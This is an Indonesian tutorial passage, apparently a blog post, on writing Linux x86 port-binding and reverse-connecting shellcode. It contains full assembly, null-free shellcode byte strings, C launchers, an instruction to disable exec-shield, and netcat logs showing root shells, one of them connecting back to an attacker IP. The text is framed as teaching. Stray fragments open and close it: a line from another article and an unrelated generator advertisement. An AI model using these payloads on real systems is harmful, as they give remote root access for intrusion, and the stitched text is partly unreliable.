Oke, sampai disini dulu pembahasan mengenai semi-polymorphic shellcode,
sampai jumpa lagi pada artikel berikutnya mengenai true-polymorphic
shellcode.
Bila anda sudah membaca artikel sebelumnya belajar membuat shellcode
part 1 anda tentu sudah mengerti tentang system call untuk mengeksekusi
shell (execve), jadi tidak perlu saya jelaskan lagi di sini.
System call dup2 sangat sederhana, register yang harus diisi adalah EBX
diisi dengan client socket handler, ECX diisi file handler untuk
stdin,stdout dan stderr, dan terakhir adalah EAX yang harus diisi dengan
nomor system call, 63.
Pada system call keluarga socket programming, socket(), bind(),
listen(), accept() semua argumen disimpan dalam bentuk blok memori
secara berurutan dengan alamatnya disimpan pada register ECX. Sebagai
contoh, untuk socket(2,1,0), register ECX harus berisi alamat blok
memori yang berisi byte berikut: 0×02 0×01 0×00.
Mengambil Opcode untuk Shellcode
Langkah berikutnya adalah kita harus compile dan link source assembly
tersebut. Setelah itu baru kita disassemble dengan objdump agar bisa
diekstrak opcodenya.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 | $ nasm -f elf portbind.asm $ ld -o portbind_asm portbind.o $ objdump -d ./portbind_asm ./portbind_asm: file format elf32-i386 Disassembly of section .text: 08048060 <_start>: 8048060: 31 c0 xor %eax,%eax 8048062: 31 db xor %ebx,%ebx 8048064: 31 d2 xor %edx,%edx 8048066: 50 push %eax 8048067: 6a 01 push $0x1 8048069: 6a 02 push $0x2 804806b: 89 e1 mov %esp,%ecx 804806d: fe c3 inc %bl 804806f: b0 66 mov $0x66,%al 8048071: cd 80 int $0x80 8048073: 89 c6 mov %eax,%esi 8048075: 52 push %edx 8048076: 66 68 09 5c pushw $0x5c09 804807a: 81 c2 02 00 00 00 add $0x2,%edx 8048080: 66 52 push %dx 8048082: 89 e1 mov %esp,%ecx 8048084: 6a 10 push $0x10 8048086: 51 push %ecx 8048087: 56 push %esi 8048088: 89 e1 mov %esp,%ecx 804808a: fe c3 inc %bl 804808c: b0 66 mov $0x66,%al 804808e: cd 80 int $0x80 8048090: 31 d2 xor %edx,%edx 8048092: 52 push %edx 8048093: 56 push %esi 8048094: 89 e1 mov %esp,%ecx 8048096: b3 04 mov $0x4,%bl 8048098: b0 66 mov $0x66,%al 804809a: cd 80 int $0x80 804809c: 52 push %edx 804809d: 52 push %edx 804809e: 56 push %esi 804809f: 89 e1 mov %esp,%ecx 80480a1: fe c3 inc %bl 80480a3: b0 66 mov $0x66,%al 80480a5: cd 80 int $0x80 80480a7: 89 c3 mov %eax,%ebx 80480a9: 31 c9 xor %ecx,%ecx 80480ab: b0 3f mov $0x3f,%al 80480ad: cd 80 int $0x80 80480af: 41 inc %ecx 80480b0: b0 3f mov $0x3f,%al 80480b2: cd 80 int $0x80 80480b4: 41 inc %ecx 80480b5: b0 3f mov $0x3f,%al 80480b7: cd 80 int $0x80 80480b9: 52 push %edx 80480ba: 68 2f 2f 73 68 push $0x68732f2f 80480bf: 68 2f 62 69 6e push $0x6e69622f 80480c4: 89 e3 mov %esp,%ebx 80480c6: 52 push %edx 80480c7: 53 push %ebx 80480c8: 89 e1 mov %esp,%ecx 80480ca: b0 0b mov $0xb,%al 80480cc: cd 80 int $0x80 |
Dari hasil objdump di atas terlihat ada byte yang terlarang, yaitu 0×00
yang merupakan bagian dari opcode instruksi: “add edx,2″. Kenapa byte
0×0 tidak boleh ada? Sebab ketika kita menginjeksi string, maka byte 0×0
akan dianggap sebagai akhir sebuah string, akibatnya shellcode kita
tidak akan terinjeksi dengan lengkap dan terpotong pada byte 0×0
tersebut.
Agar byte 0×0 tidak ada, maka kita harus mengganti “add edx,2″ dengan
instruksi lain yang ekivalen, artinya instruksi pengganti tersebut harus
berakibat pada bertambahnya nilai edx dengan 2. Saya akan mengganti
instruksi “add edx,2″ dengan instruksi “inc edx” sebanyak 2 kali. Mari
kita lihat perbedaan antara opcode “add edx,2″ dengan “inc edx”.
804807a: 81 c2 02 00 00 00 add edx, 2
804807a: 42 inc edx 804807b: 42 inc edx
Perhatikan kedua opcode di atas. Ada dua keuntungan yang kita dapatkan
dengan mengganti instruksi add. Pertama adalah tidak ada lagi byte 0×0.
Kedua adalah ukurannya lebih hemat, instruksi “inc edx” hanya berukuran 1
byte, jadi total berukuran 2 byte. Sedangkan instruksi “add edx, 2″
berukuran 6 byte, kita hemat 4 byte untuk mendapat efek yang sama.
Oke setelah kita menyingkirkan byte terlarang, kita harus mengekstrak
opcodenya untuk menjadi shellcode. Kita akan pakai lagi cara yang saya
pakai di artikel part 1 untuk dengan cepat meng-ekstrak opcode dari
output objdump.
$ objdump -d portbind_asm|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' "\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc6\x52\x66\x68\x09\x5c\x42\x42\x66\x52\x89\xe1\x6a\x10\x51\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x31\xd2\x52\x56\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x52\x52\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"
Setelah kita dapatkan shellcode, mari kita coba lagi pakai perl dan
ndisasm, kalau hasil disassemblernya sama dengan source assembly awal,
berarti shellcode tersebut sudah benar.
$ perl -e 'print "\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc6\x52\x66\x68\x09\x5c\x42\x42\x66\x52\x89\xe1\x6a\x10\x51\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x31\xd2\x52\x56\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x52\x52\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"'|ndisasm -u - 00000000 31C0 xor eax,eax 00000002 31DB xor ebx,ebx 00000004 31D2 xor edx,edx 00000006 50 push eax 00000007 6A01 push byte +0x1 00000009 6A02 push byte +0x2 0000000B 89E1 mov ecx,esp 0000000D FEC3 inc bl 0000000F B066 mov al,0x66 00000011 CD80 int 0x80 00000013 89C6 mov esi,eax 00000015 52 push edx 00000016 6668095C push word 0x5c09 0000001A 42 inc edx 0000001B 42 inc edx 0000001C 6652 push dx 0000001E 89E1 mov ecx,esp 00000020 6A10 push byte +0x10 00000022 51 push ecx 00000023 56 push esi 00000024 89E1 mov ecx,esp 00000026 FEC3 inc bl 00000028 B066 mov al,0x66 0000002A CD80 int 0x80 0000002C 31D2 xor edx,edx 0000002E 52 push edx 0000002F 56 push esi 00000030 89E1 mov ecx,esp 00000032 B304 mov bl,0x4 00000034 B066 mov al,0x66 00000036 CD80 int 0x80 00000038 52 push edx 00000039 52 push edx 0000003A 56 push esi 0000003B 89E1 mov ecx,esp 0000003D FEC3 inc bl 0000003F B066 mov al,0x66 00000041 CD80 int 0x80 00000043 89C3 mov ebx,eax 00000045 31C9 xor ecx,ecx 00000047 B03F mov al,0x3f 00000049 CD80 int 0x80 0000004B 41 inc ecx 0000004C B03F mov al,0x3f 0000004E CD80 int 0x80 00000050 41 inc ecx 00000051 B03F mov al,0x3f 00000053 CD80 int 0x80 00000055 52 push edx 00000056 682F2F7368 push dword 0x68732f2f 0000005B 682F62696E push dword 0x6e69622f 00000060 89E3 mov ebx,esp 00000062 52 push edx 00000063 53 push ebx 00000064 89E1 mov ecx,esp 00000066 B00B mov al,0xb 00000068 CD80 int 0x80
Oke selamat, shellcodenya sudah benar. Setelah itu biar lebih afdol, kita harus menguji dengan program C berikut.
Jangan lupa untuk mematikan exec shield dengan cara “echo 0 > /proc/sys/kernel/exec-shield” sebelum program C di bawah ini bisa dieksekusi. Bila tidak anda akan mendapatkan segmentation fault error.
1 2 3 4 | char shellcode[] = "\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc6\x52\x66\x68\x09\x5c\x42\x42\x66\x52\x89\xe1\x6a\x10\x51\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x31\xd2\x52\x56\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x52\x52\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"; int main(void) { asm("jmp shellcode"); } |
$ gcc portbindshellcode.c -o portbindshellcode $ sudo ./portbindshellcode
Setelah dijalankan sebagai root, di console lain saya coba koneksi dengan netcat ke port 2396.
$ nc localhost 2396 whoami root id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) exit
Berhasil! Selamat, port binding shellcode kini sudah siap dipakai untuk remote exploit.
Membuat Reverse Connecting Shellcode
Baiklah kini kita menginjak pada pembuatan shellode bertipe reverse
connecting. Dalam shellcode jenis ini, shellcode bertindak sebagai
client dan attacker menyiapkan sebuah server yang siap dihubungi di IP
dan port tertentu. Sebagai simulasi kita asumsikan IP dan port attacker
adalah 192.168.0.14:27155 dan IP komputer target adalah 192.168.0.10.
Karena socket programming di sisi client lebih sederhana dan mirip
dengan port binding, saya langsung saja membuat shellcode ini dalam
bahasa C.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | #include <sys/socket.h> #include <netinet/in.h> int main(void) { char *shell[2]; int soc; int remote; struct sockaddr_in serv_addr; serv_addr.sin_family=2; // internet address serv_addr.sin_addr.s_addr = 0x0E00A8C0; // 192.168.0.14 serv_addr.sin_port=0x136A; // port 27155 soc = socket(2,1,0); remote = connect(soc,(struct sockaddr*)&serv_addr,16); dup2(soc,0); dup2(soc,1); dup2(soc,2); shell[0] = "/bin/sh"; shell[1] = NULL; execve(shell[0],shell,0); } |
Sebelum kita compile dan eksekusi, kita siapkan dulu di komputer
attacker server yang listen di port 27155 dan port 192.168.0.14. Sistem
operasi komputer attacker adalah windows dan attacker memakai netcat for windows untuk membuat server sederhana seperti di bawah ini.
C:\>nc -lvn -p 27155 listening on [any] 27155 ...
Oke setelah server attacker sudah listen di 192.168.0.14:27155. Kini
kita compile dan eksekusi program reverse sebagai root untuk
mensimulasikan exploit yang mendapatkan root shell.
$ gcc reverse.c -o reverse $ sudo ./reverse
Sekarang perhatikan apa yang terjadi pada komputer attacker setelah program reverse tersebut dijalankan.
C:\>nc -lvn -p 27155 listening on [any] 27155 ... connect to [192.168.0.14] from (UNKNOWN) [192.168.0.10] 58855 whoami root id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) pwd /home/admin exit
Ada koneksi masuk dari ip komputer target (192.168.0.10). Setelah
koneksi terbentuk, attacker bisa mulai mengirimkan command untuk
dieksekusi di komputer target.
Reverse Connecting dalam Assembly
Tidak ada hal baru dalam shellcode ini dibandingkan dengan shellcode
port binding sebelumnya, jadi tidak ada yang perlu dijelaskan lebih jauh
lagi. Langsung saja kita membuat program yang sama dalam bahasa
assembly.
BITS 32 section .text global _start _start: xor eax,eax xor ebx,ebx xor edx,edx ;soc=socket(2,1,0) push eax ; push 0 push byte 0x1 ; push 1 push byte 0x2 ; push 2 mov ecx,esp ; ECX = address of [2,1,0] inc bl ; EBX=1 means socket() call mov al,102 int 0x80 ; ESI = soc socket handler mov esi,eax ;remote = connect(soc,(struct sockaddr*)&serv_addr,16); push edx ; push 0 push long 0x0E00A8C0 ; push sin_addr.s_addr value push word 0x136A ; push sin_port value xor ecx,ecx ; ecx = 0 mov cl,2 ; cx = 2 push word cx ; push sin_family value mov ecx,esp ; ECX = address of struct sockaddr push byte 16 ; push 16 push ecx ; push address of struct sockaddr push esi ; push soc handler mov ecx,esp ; ECX = address of [soc,&serv_addr,16] mov bl,3 ; EBX=3 means connect() mov al,102 int 0x80 ; EBX = remote socket handler mov ebx,esi ;dup2(soc,0) xor ecx,ecx ; ECX = 0 = stdin file handler mov al,63 int 0x80 ;dup2(soc,1) inc ecx ; ECX = 1 = stdout file handler mov al,63 int 0x80 ;dup(soc,2) inc ecx ; ECX = 2 = stderr file handler mov al,63 int 0x80 ;execve "/bin//sh" push edx push long 0x68732f2f push long 0x6e69622f mov ebx,esp push edx push ebx mov ecx,esp mov al,0x0b int 0x80
Tidak ada yang perlu saya jelaskan karena sama dengan shellcode port
binding dan saya juga sudah memberi komentar untuk memperjelas di source
di atas. Kita langsung saja compile dan link program assembly tersebut.
$ nasm -f elf reverse.asm $ ld -o reverse reverse.o
Sekarang kita harus mendisassemble program tersebut dan mengambil
opcodenya untuk dirangkai menjadi shellcode dengan cara yang seperti
port binding shellcode sebelumnya.
$ objdump -d reverse|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' "\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc6\x52\x68\xc0\xa8\x00\x0e\x66\x68\x6a\x13\x31\xc9\xb1\x02\x66\x51\x89\xe1\x6a\x10\x51\x56\x89\xe1\xb3\x03\xb0\x66\xcd\x80\x89\xf3\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"
Oke kini kita telah dapatkan shellcodenya. Tapi kita periksa dulu apakah
ada byte terlarang di dalamnya? Ternyata ada byte 0×00 dalam shellcode
tersebut yang berasal dari instruksi “push long 0x0E00A8C0″. Byte 0×00
tidak terhindarkan karena IP attacker mengandung 0, yaitu 192.168.0.14.
Oleh karena itu kita harus menyiasatinya agar tidak muncul byte 0×00.
Saya akan mengganti instruksi tersebut menjadi dua push, yaitu push
0x0E00 dan push 0xA8C0. Push nilai 0x0E00 tidak bisa dilakukan secara
langsung karena itu akan menghasilkan opcode yang mengandung 0×00. Oleh
karena itu saya harus membuat nilai 0x0E00 tanpa melibatkan angka 00
dengan cara:
; DX = 0 mov dl,0x0E ; DX = 0x000E shl dx,8 ; 000E digeser ke kiri 8 kali menjadi 0E00
Dengan mengganti menjadi instruksi mov dan shl kita terhindar dari byte
terlarang 0×00. Berikut adalah opcode dari instruksi pengganti “push
long 0x0E00A8C0″. Pada opcode tersebut terlihat lebih banyak space yang
dibutuhkan, tetapi di sana tidak mengandung byte terlarang 0×00.
b2 0e mov dl,0x0E 66 c1 e2 08 shl dx,8 66 52 push dx 66 68 c0 a8 push word 0xA8C0
Setelah mengganti “push long 0x0E00A8C0″ dengan 4 baris instruksi di atas, shellcode yang baru adalah seperti di bawah ini:
$ objdump -d reverse|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' "\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc6\x52\xb2\x0e\x66\xc1\xe2\x08\x66\x52\x66\x68\xc0\xa8\x66\x68\x6a\x13\x31\xc9\xb1\x02\x66\x51\x89\xe1\x6a\x10\x51\x56\x89\xe1\xb3\x03\xb0\x66\xcd\x80\x89\xf3\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"
Kini kita siap mengujinya dengan membuat program dalam bahasa C berikut ini:
char shellcode[] = "\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc6\x52\xb2\x0e\x66\xc1\xe2\x08\x66\x52\x66\x68\xc0\xa8\x66\x68\x6a\x13\x31\xc9\xb1\x02\x66\x51\x89\xe1\x6a\x10\x51\x56\x89\xe1\xb3\x03\xb0\x66\xcd\x80\x89\xf3\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"; int main(void) { asm("jmp shellcode"); }
Mari kita compile dan jalankan program dalam bahasa C di atas. Tapi
jangan lupa sebelumnya di komputer attacker harus dijalankan server yang
listen di 192.168.0.14:27155.
$ gcc reverseshellcode.c -o reverseshellcode $ sudo ./reverseshellcode
Mari kita lihat apa yang terjadi pada console attacker setelah shellcode dieksekusi.
C:\>nc -lvn -p 27155 listening on [any] 27155 ... connect to [192.168.0.14] from (UNKNOWN) [192.168.0.10] 59039 id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) whoami root pwd /home/admin exit
Berhasil! Kini kita telah berhasil membuat shellcode yang bisa dipakai
untuk remote shellcode. Selamat anda telah berhasil membuat 2 macam
shellcode yang bisa dipakai untuk remote exploit, yaitu port binding dan
reverse connecting. Dalam artikel berikutnya saya akan membahas
mengenai stack based buffer overflow exploit, di sana kita bisa memakai
shellcode yang kita buat di artikel ini.
anda dapat menulis tulisan gaya sms allay dengan menggunakan generator ini..
















